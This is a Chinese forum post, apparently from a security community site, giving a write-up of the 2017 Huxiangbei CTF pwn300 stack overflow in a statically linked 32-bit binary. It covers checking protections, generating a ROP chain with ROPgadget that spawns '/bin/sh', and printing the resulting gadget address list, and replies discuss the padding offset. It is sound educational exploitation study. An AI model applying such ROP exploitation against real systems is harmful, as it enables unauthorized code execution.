首页
社区
课程
招聘
[原创] 2017湖湘杯pwn300 栈溢出(静态链接elf)
发表于: 2018-2-12 23:46 12301

[原创] 2017湖湘杯pwn300 栈溢出(静态链接elf)

2018-2-12 23:46
12301

一般情况下,CTF里静态链接的程序很少出现,但是也有一些。这类elf的漏洞利用,主要还是依靠程序本身和用户输入。
利用方式:
(1)程序中含有system函数和/bin/sh字符串,直接构造调用system('/bin/sh')的payload。
(2)寻找程序中的gadget,直接构造出payload。

https://github.com/eternalsakura/ctf_pwn/tree/master/湖湘杯2017/pwn300

图片描述

图片描述
32位程序,没有ASLR,没有canary,可以说是十分好利用了。

ldd pwn300
图片描述
确定是静态链接了,那么我们之间在elf文件里找gadget即可

关于ROPgadget:https://github.com/JonathanSalwan/ROPgadget/tree/master
关于ROP:https://www.slideshare.net/hackstuff/rop-40525248
ROPgadget --binary pwn300 --ropchain

因为我们需要的不是这种形式的,所以写个脚本处理一下。

['0x0806ed0a', '0x080ea060', '0x080bb406', '/bin', '0x080a1dad', '0x0806ed0a', '0x080ea064', '0x080bb406', '//sh', '0x080a1dad', '0x0806ed0a', '0x080ea068', '0x08054730', '0x080a1dad', '0x080481c9', '0x080ea060', '0x0806ed31', '0x080ea068', '0x080ea060', '0x0806ed0a', '0x080ea068', '0x08054730', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x08049781']
把两个字符串再处理一下

得到0x6e69622f,0x68732f2f
替换进去,得到rop=
['0x0806ed0a', '0x080ea060', '0x080bb406', '0x6e69622f', '0x080a1dad', '0x0806ed0a', '0x080ea064', '0x080bb406', '0x68732f2f', '0x080a1dad', '0x0806ed0a', '0x080ea068', '0x08054730', '0x080a1dad', '0x080481c9', '0x080ea060', '0x0806ed31', '0x080ea068', '0x080ea060', '0x0806ed0a', '0x080ea068', '0x08054730', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x0807b75f', '0x08049781']


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2019-1-28 14:52 被admin编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (3)
雪    币: 130
活跃值: (14)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
check怎么装的啊?
2018-6-9 20:51
0
雪    币: 791
活跃值: (404)
能力值: ( LV4,RANK:51 )
在线值:
发帖
回帖
粉丝
3
INTx check怎么装的啊?
pwntools里面有,sudo  pip  install  pwntools
2018-6-9 21:49
0
雪    币: 1689
活跃值: (178)
能力值: ( LV7,RANK:103 )
在线值:
发帖
回帖
粉丝
4
我做题的时候一直通过看IDA上给的偏移来确定padding的,从ida中看v5=ebp-0x34,但不过怎么试都不行。结果我看writeup后试了下padding = 16,就ok了。大家可以看一下我调试的结果。
可以看到v5位于0xffce36e8+4,而ebp=0xffce3728, ebp-v5 = 0x3c
所以padding的偏移为0x3c+4=0x40,也就是说总共填入16次才覆盖到ebp。
所以做题不能完全依赖ida   o(╥﹏╥)o
2018-10-31 20:34
2
游客
登录 | 注册 方可回帖
返回
//